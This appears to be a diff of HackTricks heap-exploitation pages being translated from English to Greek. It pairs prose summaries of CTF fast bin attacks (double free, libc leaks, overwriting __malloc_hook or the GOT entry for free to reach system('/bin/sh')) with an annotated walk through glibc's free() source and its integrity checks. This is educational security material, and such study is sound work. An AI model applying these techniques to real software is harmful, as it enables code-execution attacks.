- Είναι δυνατόν να εκχωρηθούν κομμάτια, να απελευθερωθούν, να διαβαστούν τα περιεχόμενά τους και να γεμίσουν (με μια ευπάθεια overflow).
|
||||
- **Συγκέντρωση κομματιού για infoleak**: Η τεχνική είναι βασικά να καταχραστεί το overflow για να δημιουργηθεί ένα ψεύτικο `prev_size`, έτσι ώστε ένα προηγούμενο κομμάτι να τοποθετηθεί μέσα σε ένα μεγαλύτερο, έτσι ώστε όταν εκχωρείται το μεγαλύτερο που περιέχει ένα άλλο κομμάτι, είναι δυνατόν να εκτυπωθεί τα δεδομένα του και να διαρρεύσει μια διεύθυνση στη libc (`main_arena+88`).
|
||||
- **Επαναγραφή malloc hook**: Για αυτό, και καταχρώντας την προηγούμενη επικαλυπτόμενη κατάσταση, ήταν δυνατόν να έχουμε 2 κομμάτια που έδειχναν στην ίδια μνήμη. Επομένως, απελευθερώνοντάς τα και τα δύο (απελευθερώνοντας ένα άλλο κομμάτι ενδιάμεσα για να αποφευχθούν οι προστασίες) ήταν δυνατόν να έχουμε το ίδιο κομμάτι στη γρήγορη λίστα 2 φορές. Στη συνέχεια, ήταν δυνατόν να το εκχωρήσουμε ξανά, να επαναγράψουμε τη διεύθυνση του επόμενου κομματιού ώστε να δείχνει λίγο πριν από το `__malloc_hook` (έτσι ώστε να δείχνει σε έναν ακέραιο που το malloc νομίζει ότι είναι ένα ελεύθερο μέγεθος - άλλη παράκαμψη), να το εκχωρήσουμε ξανά και στη συνέχεια να εκχωρήσουμε ένα άλλο κομμάτι που θα λάβει μια διεύθυνση για τα malloc hooks.\
|
||||
Τελικά, γράφτηκε ένα **one gadget** εκεί.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
|
||||
- There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
|
||||
- **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
|
||||
- **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
|
||||
- Υπάρχει μια υπερχείλιση σωρού και χρήση μετά την απελευθέρωση και διπλή απελευθέρωση επειδή όταν ένα κομμάτι απελευθερωθεί είναι δυνατόν να ξαναχρησιμοποιηθούν και να ξανααπελευθερωθούν οι δείκτες
|
||||
- **Libc info leak**: Απλά απελευθερώστε μερικά κομμάτια και θα λάβουν έναν δείκτη σε ένα μέρος της τοποθεσίας της κύριας αρένας. Καθώς μπορείτε να ξαναχρησιμοποιήσετε τους απελευθερωμένους δείκτες, απλά διαβάστε αυτή τη διεύθυνση.
|
||||
- **Fast bin attack**: Όλοι οι δείκτες στις εκχωρήσεις αποθηκεύονται μέσα σε έναν πίνακα, έτσι ώστε να μπορούμε να απελευθερώσουμε μερικά γρήγορα κομμάτια και στο τελευταίο να επαναγράψουμε τη διεύθυνση ώστε να δείχνει λίγο πριν από αυτόν τον πίνακα δεικτών. Στη συνέχεια, εκχωρούμε μερικά κομμάτια με το ίδιο μέγεθος και θα λάβουμε πρώτα το νόμιμο και στη συνέχεια το ψεύτικο που περιέχει τον πίνακα δεικτών. Τώρα μπορούμε να επαναγράψουμε αυτούς τους δείκτες εκχώρησης ώστε να κάνουμε τη διεύθυνση GOT του `free` να δείχνει στο `system` και στη συνέχεια να γράψουμε `"/bin/sh"` στο κομμάτι 1 για να καλέσουμε `free(chunk1)` το οποίο αντίθετα θα εκτελέσει `system("/bin/sh")`.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
|
||||
- Ένα άλλο παράδειγμα κατάχρησης μιας υπερχείλισης ενός byte για να συγκεντρωθούν κομμάτια στην αταξινόμητη λίστα και να αποκτηθεί μια διαρροή libc και στη συνέχεια να εκτελεστεί μια γρήγορη επίθεση bin για να επαναγραφεί το malloc hook με μια διεύθυνση one gadget
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
|
||||
- After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
|
||||
- You can find a Fast Bin attack abused through an unsorted bin attack:
|
||||
- Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
|
||||
- Μετά από μια διαρροή infoleak καταχρώντας την αταξινόμητη λίστα με μια UAF για να διαρρεύσει μια διεύθυνση libc και μια διεύθυνση PIE, η εκμετάλλευση αυτού του CTF χρησιμοποίησε μια γρήγορη επίθεση bin για να εκχωρήσει ένα κομμάτι σε μια θέση όπου βρίσκονταν οι δείκτες σε ελεγχόμενα κομμάτια, έτσι ώστε να ήταν δυνατόν να επαναγραφούν ορισμένοι δείκτες για να γράψουν μια διεύθυνση one gadget στο GOT
|
||||
- Μπορείτε να βρείτε μια γρήγορη επίθεση Bin που καταχράται μέσω μιας αταξινόμητης επίθεσης bin:
|
||||
- Σημειώστε ότι είναι κοινό πριν από την εκτέλεση γρήγορων επιθέσεων bin να καταχράστε τις λίστες ελευθερίας για να διαρρεύσετε διευθύνσεις libc/heap (όταν χρειάζεται).
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
- We can only allocate chunks of size greater than `0x100`.
|
||||
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
|
||||
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.
|
||||
- Μπορούμε μόνο να εκχωρήσουμε κομμάτια μεγέθους μεγαλύτερου από `0x100`.
|
||||
- Επαναγράψτε το `global_max_fast` χρησιμοποιώντας μια αταξινόμητη επίθεση bin (λειτουργεί 1/16 φορές λόγω ASLR, επειδή πρέπει να τροποποιήσουμε 12 bits, αλλά πρέπει να τροποποιήσουμε 16 bits).
|
||||
- Γρήγορη επίθεση Bin για να τροποποιήσετε έναν παγκόσμιο πίνακα κομματιών. Αυτό δίνει μια αυθαίρετη ανάγνωση/γραφή primitive, που επιτρέπει την τροποποίηση του GOT και την ρύθμιση ορισμένων συναρτήσεων να δείχνουν στο `system`.
|
||||
|
||||
{{#ref}}
|
||||
unsorted-bin-attack.md
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
# Heap Memory Functions
|
||||
# Συναρτήσεις Μνήμης Σωρού
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
@ -2,95 +2,92 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Free Order Summary <a href="#libc_free" id="libc_free"></a>
|
||||
## Περίληψη Εντολής Free <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
(No checks are explained in this summary and some case have been omitted for brevity)
|
||||
(Δεν εξηγούνται έλεγχοι σε αυτή την περίληψη και ορισμένες περιπτώσεις έχουν παραληφθεί για συντομία)
|
||||
|
||||
1. If the address is null don't do anything
|
||||
2. If the chunk was mmaped, mummap it and finish
|
||||
3. Call `_int_free`:
|
||||
1. If possible, add the chunk to the tcache
|
||||
2. If possible, add the chunk to the fast bin
|
||||
3. Call `_int_free_merge_chunk` to consolidate the chunk is needed and add it to the unsorted list
|
||||
1. Αν η διεύθυνση είναι null, μην κάνεις τίποτα
|
||||
2. Αν το chunk ήταν mmaped, mummap το και τελείωσε
|
||||
3. Κάλεσε `_int_free`:
|
||||
1. Αν είναι δυνατόν, πρόσθεσε το chunk στο tcache
|
||||
2. Αν είναι δυνατόν, πρόσθεσε το chunk στο fast bin
|
||||
3. Κάλεσε `_int_free_merge_chunk` για να ενοποιήσεις το chunk αν χρειάζεται και πρόσθεσέ το στη λίστα που δεν έχει ταξινομηθεί
|
||||
|
||||
## \_\_libc_free <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
`Free` calls `__libc_free`.
|
||||
`Free` καλεί `__libc_free`.
|
||||
|
||||
- If the address passed is Null (0) don't do anything.
|
||||
- Check pointer tag
|
||||
- If the chunk is `mmaped`, `mummap` it and that all
|
||||
- If not, add the color and call `_int_free` over it
|
||||
- Αν η διεύθυνση που δόθηκε είναι Null (0), μην κάνεις τίποτα.
|
||||
- Έλεγξε την ετικέτα του δείκτη
|
||||
- Αν το chunk είναι `mmaped`, `mummap` το και αυτό είναι όλο
|
||||
- Αν όχι, πρόσθεσε το χρώμα και κάλεσε `_int_free` πάνω του
|
||||
|
||||
<details>
|
||||
|
||||
<summary>__lib_free code</summary>
|
||||
|
||||
```c
|
||||
void
|
||||
__libc_free (void *mem)
|
||||
{
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
mstate ar_ptr;
|
||||
mchunkptr p; /* chunk corresponding to mem */
|
||||
|
||||
if (mem == 0) /* free(0) has no effect */
|
||||
return;
|
||||
if (mem == 0) /* free(0) has no effect */
|
||||
return;
|
||||
|
||||
/* Quickly check that the freed pointer matches the tag for the memory.
|
||||
This gives a useful double-free detection. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
*(volatile char *)mem;
|
||||
/* Quickly check that the freed pointer matches the tag for the memory.
|
||||
This gives a useful double-free detection. */
|
||||
if (__glibc_unlikely (mtag_enabled))
|
||||
*(volatile char *)mem;
|
||||
|
||||
int err = errno;
|
||||
int err = errno;
|
||||
|
||||
p = mem2chunk (mem);
|
||||
p = mem2chunk (mem);
|
||||
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
/* See if the dynamic brk/mmap threshold needs adjusting.
|
||||
Dumped fake mmapped chunks do not affect the threshold. */
|
||||
if (!mp_.no_dyn_threshold
|
||||
&& chunksize_nomask (p) > mp_.mmap_threshold
|
||||
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||
{
|
||||
mp_.mmap_threshold = chunksize (p);
|
||||
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||
mp_.mmap_threshold, mp_.trim_threshold);
|
||||
}
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else
|
||||
{
|
||||
MAYBE_INIT_TCACHE ();
|
||||
if (chunk_is_mmapped (p)) /* release mmapped memory. */
|
||||
{
|
||||
/* See if the dynamic brk/mmap threshold needs adjusting.
|
||||
Dumped fake mmapped chunks do not affect the threshold. */
|
||||
if (!mp_.no_dyn_threshold
|
||||
&& chunksize_nomask (p) > mp_.mmap_threshold
|
||||
&& chunksize_nomask (p) <= DEFAULT_MMAP_THRESHOLD_MAX)
|
||||
{
|
||||
mp_.mmap_threshold = chunksize (p);
|
||||
mp_.trim_threshold = 2 * mp_.mmap_threshold;
|
||||
LIBC_PROBE (memory_mallopt_free_dyn_thresholds, 2,
|
||||
mp_.mmap_threshold, mp_.trim_threshold);
|
||||
}
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else
|
||||
{
|
||||
MAYBE_INIT_TCACHE ();
|
||||
|
||||
/* Mark the chunk as belonging to the library again. */
|
||||
(void)tag_region (chunk2mem (p), memsize (p));
|
||||
/* Mark the chunk as belonging to the library again. */
|
||||
(void)tag_region (chunk2mem (p), memsize (p));
|
||||
|
||||
ar_ptr = arena_for_chunk (p);
|
||||
_int_free (ar_ptr, p, 0);
|
||||
}
|
||||
ar_ptr = arena_for_chunk (p);
|
||||
_int_free (ar_ptr, p, 0);
|
||||
}
|
||||
|
||||
__set_errno (err);
|
||||
__set_errno (err);
|
||||
}
|
||||
libc_hidden_def (__libc_free)
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## \_int_free <a href="#int_free" id="int_free"></a>
|
||||
|
||||
### \_int_free start <a href="#int_free" id="int_free"></a>
|
||||
|
||||
It starts with some checks making sure:
|
||||
Ξεκινά με κάποιους ελέγχους για να διασφαλίσει ότι:
|
||||
|
||||
- the **pointer** is **aligned,** or trigger error `free(): invalid pointer`
|
||||
- the **size** isn't less than the minimum and that the **size** is also **aligned** or trigger error: `free(): invalid size`
|
||||
- ο **δείκτης** είναι **ευθυγραμμισμένος,** αλλιώς προκαλεί σφάλμα `free(): invalid pointer`
|
||||
- το **μέγεθος** δεν είναι μικρότερο από το ελάχιστο και ότι το **μέγεθος** είναι επίσης **ευθυγραμμισμένο** ή προκαλεί σφάλμα: `free(): invalid size`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free start</summary>
|
||||
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4493C1-L4513C28
|
||||
|
||||
@ -99,288 +96,279 @@ It starts with some checks making sure:
|
||||
static void
|
||||
_int_free (mstate av, mchunkptr p, int have_lock)
|
||||
{
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
INTERNAL_SIZE_T size; /* its size */
|
||||
mfastbinptr *fb; /* associated fastbin */
|
||||
|
||||
size = chunksize (p);
|
||||
size = chunksize (p);
|
||||
|
||||
/* Little security check which won't hurt performance: the
|
||||
allocator never wraps around at the end of the address space.
|
||||
Therefore we can exclude some size values which might appear
|
||||
here by accident or by "design" from some intruder. */
|
||||
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|
||||
|| __builtin_expect (misaligned_chunk (p), 0))
|
||||
malloc_printerr ("free(): invalid pointer");
|
||||
/* We know that each chunk is at least MINSIZE bytes in size or a
|
||||
multiple of MALLOC_ALIGNMENT. */
|
||||
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
|
||||
malloc_printerr ("free(): invalid size");
|
||||
/* Little security check which won't hurt performance: the
|
||||
allocator never wraps around at the end of the address space.
|
||||
Therefore we can exclude some size values which might appear
|
||||
here by accident or by "design" from some intruder. */
|
||||
if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)
|
||||
|| __builtin_expect (misaligned_chunk (p), 0))
|
||||
malloc_printerr ("free(): invalid pointer");
|
||||
/* We know that each chunk is at least MINSIZE bytes in size or a
|
||||
multiple of MALLOC_ALIGNMENT. */
|
||||
if (__glibc_unlikely (size < MINSIZE || !aligned_OK (size)))
|
||||
malloc_printerr ("free(): invalid size");
|
||||
|
||||
check_inuse_chunk(av, p);
|
||||
check_inuse_chunk(av, p);
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### \_int_free tcache <a href="#int_free" id="int_free"></a>
|
||||
|
||||
It'll first try to allocate this chunk in the related tcache. However, some checks are performed previously. It'll loop through all the chunks of the tcache in the same index as the freed chunk and:
|
||||
Αρχικά θα προσπαθήσει να εκχωρήσει αυτό το κομμάτι στην σχετική tcache. Ωστόσο, προηγούνται ορισμένοι έλεγχοι. Θα επαναλάβει όλα τα κομμάτια της tcache στον ίδιο δείκτη με το ελευθερωμένο κομμάτι και:
|
||||
|
||||
- If there are more entries than `mp_.tcache_count`: `free(): too many chunks detected in tcache`
|
||||
- If the entry is not aligned: free(): `unaligned chunk detected in tcache 2`
|
||||
- if the freed chunk was already freed and is present as chunk in the tcache: `free(): double free detected in tcache 2`
|
||||
- Αν υπάρχουν περισσότερες καταχωρίσεις από `mp_.tcache_count`: `free(): too many chunks detected in tcache`
|
||||
- Αν η καταχώριση δεν είναι ευθυγραμμισμένη: free(): `unaligned chunk detected in tcache 2`
|
||||
- αν το ελευθερωμένο κομμάτι είχε ήδη ελευθερωθεί και είναι παρόν ως κομμάτι στην tcache: `free(): double free detected in tcache 2`
|
||||
|
||||
If all goes well, the chunk is added to the tcache and the functions returns.
|
||||
Αν όλα πάνε καλά, το κομμάτι προστίθεται στην tcache και οι συναρτήσεις επιστρέφουν.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free tcache</summary>
|
||||
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
|
||||
#if USE_TCACHE
|
||||
{
|
||||
size_t tc_idx = csize2tidx (size);
|
||||
if (tcache != NULL && tc_idx < mp_.tcache_bins)
|
||||
{
|
||||
/* Check to see if it's already in the tcache. */
|
||||
tcache_entry *e = (tcache_entry *) chunk2mem (p);
|
||||
{
|
||||
size_t tc_idx = csize2tidx (size);
|
||||
if (tcache != NULL && tc_idx < mp_.tcache_bins)
|
||||
{
|
||||
/* Check to see if it's already in the tcache. */
|
||||
tcache_entry *e = (tcache_entry *) chunk2mem (p);
|
||||
|
||||
/* This test succeeds on double free. However, we don't 100%
|
||||
trust it (it also matches random payload data at a 1 in
|
||||
2^<size_t> chance), so verify it's not an unlikely
|
||||
coincidence before aborting. */
|
||||
if (__glibc_unlikely (e->key == tcache_key))
|
||||
{
|
||||
tcache_entry *tmp;
|
||||
size_t cnt = 0;
|
||||
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
|
||||
for (tmp = tcache->entries[tc_idx];
|
||||
tmp;
|
||||
tmp = REVEAL_PTR (tmp->next), ++cnt)
|
||||
{
|
||||
if (cnt >= mp_.tcache_count)
|
||||
malloc_printerr ("free(): too many chunks detected in tcache");
|
||||
if (__glibc_unlikely (!aligned_OK (tmp)))
|
||||
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
|
||||
if (tmp == e)
|
||||
malloc_printerr ("free(): double free detected in tcache 2");
|
||||
/* If we get here, it was a coincidence. We've wasted a
|
||||
few cycles, but don't abort. */
|
||||
}
|
||||
}
|
||||
/* This test succeeds on double free. However, we don't 100%
|
||||
trust it (it also matches random payload data at a 1 in
|
||||
2^<size_t> chance), so verify it's not an unlikely
|
||||
coincidence before aborting. */
|
||||
if (__glibc_unlikely (e->key == tcache_key))
|
||||
{
|
||||
tcache_entry *tmp;
|
||||
size_t cnt = 0;
|
||||
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
|
||||
for (tmp = tcache->entries[tc_idx];
|
||||
tmp;
|
||||
tmp = REVEAL_PTR (tmp->next), ++cnt)
|
||||
{
|
||||
if (cnt >= mp_.tcache_count)
|
||||
malloc_printerr ("free(): too many chunks detected in tcache");
|
||||
if (__glibc_unlikely (!aligned_OK (tmp)))
|
||||
malloc_printerr ("free(): unaligned chunk detected in tcache 2");
|
||||
if (tmp == e)
|
||||
malloc_printerr ("free(): double free detected in tcache 2");
|
||||
/* If we get here, it was a coincidence. We've wasted a
|
||||
few cycles, but don't abort. */
|
||||
}
|
||||
}
|
||||
|
||||
if (tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
{
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
if (tcache->counts[tc_idx] < mp_.tcache_count)
|
||||
{
|
||||
tcache_put (p, tc_idx);
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### \_int_free fast bin <a href="#int_free" id="int_free"></a>
|
||||
|
||||
Start by checking that the size is suitable for fast bin and check if it's possible to set it close to the top chunk.
|
||||
Ξεκινήστε ελέγχοντας αν το μέγεθος είναι κατάλληλο για fast bin και ελέγξτε αν είναι δυνατόν να το ρυθμίσετε κοντά στο top chunk.
|
||||
|
||||
Then, add the freed chunk at the top of the fast bin while performing some checks:
|
||||
Στη συνέχεια, προσθέστε το ελευθερωμένο chunk στην κορυφή του fast bin ενώ εκτελείτε κάποιους ελέγχους:
|
||||
|
||||
- If the size of the chunk is invalid (too big or small) trigger: `free(): invalid next size (fast)`
|
||||
- If the added chunk was already the top of the fast bin: `double free or corruption (fasttop)`
|
||||
- If the size of the chunk at the top has a different size of the chunk we are adding: `invalid fastbin entry (free)`
|
||||
- Αν το μέγεθος του chunk είναι μη έγκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε: `free(): invalid next size (fast)`
|
||||
- Αν το προστιθέμενο chunk ήταν ήδη στην κορυφή του fast bin: `double free or corruption (fasttop)`
|
||||
- Αν το μέγεθος του chunk στην κορυφή έχει διαφορετικό μέγεθος από το chunk που προσθέτουμε: `invalid fastbin entry (free)`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free Fast Bin</summary>
|
||||
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4
|
||||
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
/*
|
||||
If eligible, place chunk on a fastbin so it can be found
|
||||
and used quickly in malloc.
|
||||
*/
|
||||
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
if ((unsigned long)(size) <= (unsigned long)(get_max_fast ())
|
||||
|
||||
#if TRIM_FASTBINS
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
/*
|
||||
If TRIM_FASTBINS set, don't place chunks
|
||||
bordering top into fastbins
|
||||
*/
|
||||
&& (chunk_at_offset(p, size) != av->top)
|
||||
#endif
|
||||
) {
|
||||
) {
|
||||
|
||||
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
|
||||
<= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
bool fail = true;
|
||||
/* We might not have a lock at this point and concurrent modifications
|
||||
of system_mem might result in a false positive. Redo the test after
|
||||
getting the lock. */
|
||||
if (!have_lock)
|
||||
{
|
||||
__libc_lock_lock (av->mutex);
|
||||
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|
||||
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size))
|
||||
<= CHUNK_HDR_SZ, 0)
|
||||
|| __builtin_expect (chunksize (chunk_at_offset (p, size))
|
||||
>= av->system_mem, 0))
|
||||
{
|
||||
bool fail = true;
|
||||
/* We might not have a lock at this point and concurrent modifications
|
||||
of system_mem might result in a false positive. Redo the test after
|
||||
getting the lock. */
|
||||
if (!have_lock)
|
||||
{
|
||||
__libc_lock_lock (av->mutex);
|
||||
fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ
|
||||
|| chunksize (chunk_at_offset (p, size)) >= av->system_mem);
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
|
||||
if (fail)
|
||||
malloc_printerr ("free(): invalid next size (fast)");
|
||||
}
|
||||
if (fail)
|
||||
malloc_printerr ("free(): invalid next size (fast)");
|
||||
}
|
||||
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ);
|
||||
|
||||
atomic_store_relaxed (&av->have_fastchunks, true);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
atomic_store_relaxed (&av->have_fastchunks, true);
|
||||
unsigned int idx = fastbin_index(size);
|
||||
fb = &fastbin (av, idx);
|
||||
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */
|
||||
mchunkptr old = *fb, old2;
|
||||
|
||||
if (SINGLE_THREAD_P)
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
*fb = p;
|
||||
}
|
||||
else
|
||||
do
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
old2 = old;
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
|
||||
!= old2);
|
||||
if (SINGLE_THREAD_P)
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
*fb = p;
|
||||
}
|
||||
else
|
||||
do
|
||||
{
|
||||
/* Check that the top of the bin is not the record we are going to
|
||||
add (i.e., double free). */
|
||||
if (__builtin_expect (old == p, 0))
|
||||
malloc_printerr ("double free or corruption (fasttop)");
|
||||
old2 = old;
|
||||
p->fd = PROTECT_PTR (&p->fd, old);
|
||||
}
|
||||
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2))
|
||||
!= old2);
|
||||
|
||||
/* Check that size of fastbin chunk at the top is the same as
|
||||
size of the chunk that we are adding. We can dereference OLD
|
||||
only if we have the lock, otherwise it might have already been
|
||||
allocated again. */
|
||||
if (have_lock && old != NULL
|
||||
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
|
||||
malloc_printerr ("invalid fastbin entry (free)");
|
||||
}
|
||||
/* Check that size of fastbin chunk at the top is the same as
|
||||
size of the chunk that we are adding. We can dereference OLD
|
||||
only if we have the lock, otherwise it might have already been
|
||||
allocated again. */
|
||||
if (have_lock && old != NULL
|
||||
&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0))
|
||||
malloc_printerr ("invalid fastbin entry (free)");
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### \_int_free finale <a href="#int_free" id="int_free"></a>
|
||||
|
||||
If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk`
|
||||
Αν το κομμάτι δεν έχει ακόμη κατανεμηθεί σε κανένα bin, καλέστε το `_int_free_merge_chunk`
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free finale</summary>
|
||||
|
||||
```c
|
||||
/*
|
||||
Consolidate other non-mmapped chunks as they arrive.
|
||||
*/
|
||||
Consolidate other non-mmapped chunks as they arrive.
|
||||
*/
|
||||
|
||||
else if (!chunk_is_mmapped(p)) {
|
||||
else if (!chunk_is_mmapped(p)) {
|
||||
|
||||
/* If we're single-threaded, don't lock the arena. */
|
||||
if (SINGLE_THREAD_P)
|
||||
have_lock = true;
|
||||
/* If we're single-threaded, don't lock the arena. */
|
||||
if (SINGLE_THREAD_P)
|
||||
have_lock = true;
|
||||
|
||||
if (!have_lock)
|
||||
__libc_lock_lock (av->mutex);
|
||||
if (!have_lock)
|
||||
__libc_lock_lock (av->mutex);
|
||||
|
||||
_int_free_merge_chunk (av, p, size);
|
||||
_int_free_merge_chunk (av, p, size);
|
||||
|
||||
if (!have_lock)
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
/*
|
||||
If the chunk was allocated via mmap, release via munmap().
|
||||
*/
|
||||
if (!have_lock)
|
||||
__libc_lock_unlock (av->mutex);
|
||||
}
|
||||
/*
|
||||
If the chunk was allocated via mmap, release via munmap().
|
||||
*/
|
||||
|
||||
else {
|
||||
munmap_chunk (p);
|
||||
}
|
||||
else {
|
||||
munmap_chunk (p);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
## \_int_free_merge_chunk
|
||||
|
||||
This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list.
|
||||
Αυτή η συνάρτηση θα προσπαθήσει να συγχωνεύσει το κομμάτι P με μέγεθος SIZE byte με τους γείτονές του. Το αποτέλεσμα θα τοποθετηθεί στη λίστα των αταξινόμητων κομματιών.
|
||||
|
||||
Some checks are performed:
|
||||
Γίνονται ορισμένοι έλεγχοι:
|
||||
|
||||
- If the chunk is the top chunk: `double free or corruption (top)`
|
||||
- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)`
|
||||
- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)`
|
||||
- If the next chunk has a too little size or too big: `free(): invalid next size (normal)`
|
||||
- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating`
|
||||
- Αν το κομμάτι είναι το κορυφαίο κομμάτι: `double free or corruption (top)`
|
||||
- Αν το επόμενο κομμάτι είναι εκτός των ορίων της αρένας: `double free or corruption (out)`
|
||||
- Αν το κομμάτι δεν είναι σημειωμένο ως χρησιμοποιούμενο (στο `prev_inuse` του επόμενου κομματιού): `double free or corruption (!prev)`
|
||||
